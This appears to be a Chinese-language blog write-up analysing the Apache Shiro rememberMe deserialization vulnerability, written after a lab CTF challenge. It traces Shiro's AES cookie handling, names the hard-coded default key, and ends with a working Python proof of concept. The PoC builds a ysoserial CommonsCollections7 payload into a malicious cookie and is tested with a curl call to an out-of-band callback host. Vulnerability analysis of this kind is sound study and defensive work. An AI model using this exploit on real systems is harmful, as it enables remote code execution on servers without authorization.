Apache Shiro RemberMe 反序列化漏洞分析
前言
最近实验室招新,某大佬对萌新出了一道shiroRemberMe反序列化,正好最近在学习java安全,接着这个机会来分析一下这个漏洞吧,也因为老谈理论不太好,还是实际分析一个漏洞更加清楚。
<!--more-->
有关Cookie加密流程
这道题是不用登录能够直接打的,虽然这个代码看注释是嫖来的,但实际结构要比vulhub上的环境更简洁一点(不用登录),因此我们先来看看反序列化的入口在哪?既然名字都叫RemberMe反序列化了,那么自然是RemberMe的使用上出现了问题,所以我们看看shiro是如何处理Cookie的。
首先是ShiroConfig类,这里有两个关键信息:
@Bean
public SecurityManager securityManager() {
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
// 设置realm
securityManager.setRealm(authRealm());
// 用户授权/认证信息Cache, 采用EhC//注入记住我管理器
securityManager.setRememberMeManager(rememberMeManager());
return securityManager;
}
....
public CookieRememberMeManager rememberMeManager() {
CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
cookieRememberMeManager.setCookie(rememberMeCookie());
// rememberMe cookie加密的密钥 建议每个项目都不一样 默认AES算法 密钥长度(128 256 512 位)
cookieRememberMeManager.setCipherKey(Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
return cookieRememberMeManager;
}
}SecurityManager是个自定义校验器,他通过ShiroFilter将这个校验器注册到全局,从这里看出自定义校验器中,指定了CookieRememberMeManager作为RememberMe的校验器,虽然这里直接将CipherKey硬编码成kPH+bIxk5D2deZiIxcaaaA==,但实际这一步是多余的,我们来看看CookieRememberMeManager
public class CookieRememberMeManager extends AbstractRememberMeManager {
private static final transient Logger log = LoggerFactory.getLogger(CookieRememberMeManager.class);
public static final String DEFAULT_REMEMBER_ME_COOKIE_NAME = "rememberMe";
private Cookie cookie;
public CookieRememberMeManager() {
Cookie cookie = new SimpleCookie("rememberMe");
cookie.setHttpOnly(true);
cookie.setMaxAge(31536000);
this.cookie = cookie;
}
//省略许多的方法
}
我们发现这个CookieRememberMeManager继承自AbstractRememberMeManager,跟进一下:
public abstract class AbstractRememberMeManager implements RememberMeManager {
private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
private Serializer<PrincipalCollection> serializer = new DefaultSerializer();
private CipherService cipherService = new AesCipherService();
private byte[] encryptionCipherKey;
private byte[] decryptionCipherKey;
public AbstractRememberMeManager() {
this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
//省略许多方法
}这里其实设置了默认的密钥,就是硬编码这坨,所以如果需要更改则可以使用set修改,但如果没变的话这一步实际上是没必要的,接着来看看RememberMe是如何加密的AbstractRememberMeManager对应的加密方法:
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}这里的encrypt实际上是CipherService类中的encrypt方法,CipherService是一个接口,实际上enctypt方法在JcaCipherService中实现:
public ByteSource encrypt(byte[] plaintext, byte[] key) {
byte[] ivBytes = null;
boolean generate = isGenerateInitializationVectors(false);
//构造函数会将generateInitializationVectors设置为true,因此最后返回的generate也为true
if (generate) {
ivBytes = generateInitializationVector(false);
if (ivBytes == null || ivBytes.length == 0) {
throw new IllegalStateException("Initialization vector generation is enabled - generated vector" +
"cannot be null or empty.");
}
}
return encrypt(plaintext, key, ivBytes, generate);
}这里ivBytes通过generateInitializationVector生成:
private static final int DEFAULT_KEY_SIZE = 128;
private static final int DEFAULT_STREAMING_BUFFER_SIZE = 512;
private static final int BITS_PER_BYTE = 8;
//设置的默认值
protected JcaCipherService(String algorithmName) {
if (!StringUtils.hasText(algorithmName)) {
throw new IllegalArgumentException("algorithmName argument cannot be null or empty.");
}
this.algorithmName = algorithmName;
this.keySize = DEFAULT_KEY_SIZE;
this.initializationVectorSize = DEFAULT_KEY_SIZE; //default to same size as the key size (a common algorithm practice)
this.streamingBufferSize = DEFAULT_STREAMING_BUFFER_SIZE;
this.generateInitializationVectors = true;
}
//构造函数
protected byte[] generateInitializationVector(boolean streaming) {
int size = getInitializationVectorSize();
//由于构造函数这里是128位
if (size <= 0) {
String msg = "initializationVectorSize property must be greater than zero. This number is " +
"typically set in the " + CipherService.class.getSimpleName() + " subclass constructor. " +
"Also check your configuration to ensure that if you are setting a value, it is positive.";
throw new IllegalStateException(msg);
}
if (size % BITS_PER_BYTE != 0) {
String msg = "initializationVectorSize property must be a multiple of 8 to represent as a byte array.";
throw new IllegalStateException(msg);
}
int sizeInBytes = size / BITS_PER_BYTE;
//128/8 -> 16 这里得到是16位的大小
byte[] ivBytes = new byte[sizeInBytes];
SecureRandom random = ensureSecureRandom();
random.nextBytes(ivBytes);
return ivBytes;
}generateInitializationVector涉及函数有点多,稍微简化之后,将涉及的列在这里,从而这里得到了ivBytes为16的Bytes[],最后通过public的encrypt调用private的encrypt方法:
private ByteSource encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv) throws CryptoException {
/*
* 梳理一下参数 plaintext为加密的明文,key为默认的硬编码,byte[] iv为16位大小的随机字符,prependIv为true
*/
final int MODE = javax.crypto.Cipher.ENCRYPT_MODE;
// 默认值为1即CBC模式加密
byte[] output;
if (prependIv && iv != null && iv.length > 0) {
byte[] encrypted = crypt(plaintext, key, iv, MODE);
output = new byte[iv.length + encrypted.length];
//now copy the iv bytes + encrypted bytes into one output array:
// iv bytes:
System.arraycopy(iv, 0, output, 0, iv.length);
// + encrypted bytes:
System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
} else {
output = crypt(plaintext, key, iv, MODE);
}
if (log.isTraceEnabled()) {
log.trace("Incoming plaintext of size " + (plaintext != null ? plaintext.length : 0) + ". Ciphertext " +
"byte array is size " + (output != null ? output.length : 0));
}
return ByteSource.Util.bytes(output);
}随后就扔给javax.crypto.Cipher进行加密了,我们会发现最后返回的是一个字节序列,这个字节序列就是加密出来的cookie了,但rememberMe最后应该返回一个base64编码的字符串才对,再回到CookieRememberMeManager,原因是在rememberSerializedIdentity方法里面:
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
log.debug(msg);
}
} else {
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
String base64 = Base64.encodeToString(serialized);
//这里会将序列化的数据进行base64编码
Cookie template = this.getCookie();
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}
}这里会序列化数据的原因是因为,在使用login操作的时候,会根据传入的相应内容生成一个token,用于生成AuthenticationInfo。
public interface AuthenticationInfo extends Serializable {
PrincipalCollection getPrincipals();
Object getCredentials();
}AuthenticationInfo是一个接口,这两个方法分别在

这两个类中实现,可以知道实际上AuthenticationInfo对应的是用户验证的信息,它指代每一个用户对象,所以自然需要序列化了。
有关入口
来看看login的路由函数:

如果持续跟进login方法的话,login函数的实现上(千万别继续跟了,函数栈太复杂了),使用了一个类

这个类也是个接口,通过注释来看:
Returns the primary principal used application-wide to uniquely identify the owning account/Subject.
这个接口是用来生成唯一的一个用户识别对象的
没跑了,这就是验证的时候所生成的识别特定用户类了,我们看看他的实现方法,既然这个类会被用来生成用户的识别对象,那么可以判断其中肯定有得到用户信息的办法,所以我们来看看getRealmNames方法的实现:

这里涉及到了两个类,从类名来看下面的Map应该是类似于将用户对象,以Map的形式存入,因此我们看看SimplePrincipalCollection,这里最终找到了readObject方法,也就是反序列化的入口了。

最后如果在回去看看AbstractRememberMeManager类的话,会发现里面有对应的处理方法,比如:
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}这里存在将对象转化成字节序列的操作,也就是序列化和反序列化对象的操作,而我们的Principals对象里面的反序列化方法readObject使用的默认的defaultReadObject()基本啥都能读,所以这里只需要传入一个构造好的恶意反序列化对象,Principals就我帮我们触发反序列化漏洞了,最后就来看看AbstractRememberMeManager.deserialize方法吧
public Serializer<PrincipalCollection> getSerializer() {
return serializer;
}
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return getSerializer().deserialize(serializedIdentity);
}这里实际上是调用Serializer对象中的deserialize方法:

这里有两处实现,XML估计可能性不大,应该在DefaultSerializer中,最后我们找到了这个方法:


有关POC
现在我们再来看看POC是怎么写的:
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections7', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
# 网络上使用AES加密基本都是这样写的,后面encode是为了将字符串转化为字节序列
key = "kPH+bIxk5D2deZiIxcaaaA=="
# 硬编码的默认密钥
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
# 生成随机数和java原流程一样,使用随机数填满的16位字符序列
encryptor = AES.new(base64.b64decode(key), mode, iv)
# 生成AES加密器
file_body = pad(popen.stdout.read())
# 获得ysoserial工具得到的序列化字符序列,并进行位数不够的填充操作
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
'''
byte[] encrypted = crypt(plaintext, key, iv, MODE);
output = new byte[iv.length + encrypted.length];
//now copy the iv bytes + encrypted bytes into one output array:
// iv bytes:
System.arraycopy(iv, 0, output, 0, iv.length);
// + encrypted bytes:
System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
等同于这几步
'''
return base64_ciphertext
# 返回字符串
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
这里因为运行环境是jdk12,所以使用CC7链作为利用链,最后将生成的cookie添加到请求包中就,即可触发反序列化漏洞了。
当然由于ysoserial中的执行命令使用的是java.lang.Runtime.exec()执行命令的,我们知道这个无法执行复杂的命令,因为`><等符号会导致解析命令错误,所以我们可以使用:
java.lang.Runtime.exec() Payload Workarounds
对复杂命令进行编码,编码成能够执行的样子。由于我这里使用的curl简单的测试,所以直接curl [Myceye.io]


就直接可以得到回显了:

总结
其实之前学习Java反序列化的时候会想,为什么ysoserial里的利用链能够到处打,最后发现实际上是因为所使用的利用链是commons-collections中的利用链,而这个包很多Java的web应用都在使用,因此不得不感叹ysoserial作者的厉害之处,能够找到适用性如此大的一条链条。
最后就是全文可能会出现一些错误(菜),还希望各位大佬阅读后能够帮助博主斧正。
参考文章:
Shiro rememberMe 反序列化分析
Java反序列化漏洞:在受限环境中从漏洞发现到获取反向Shell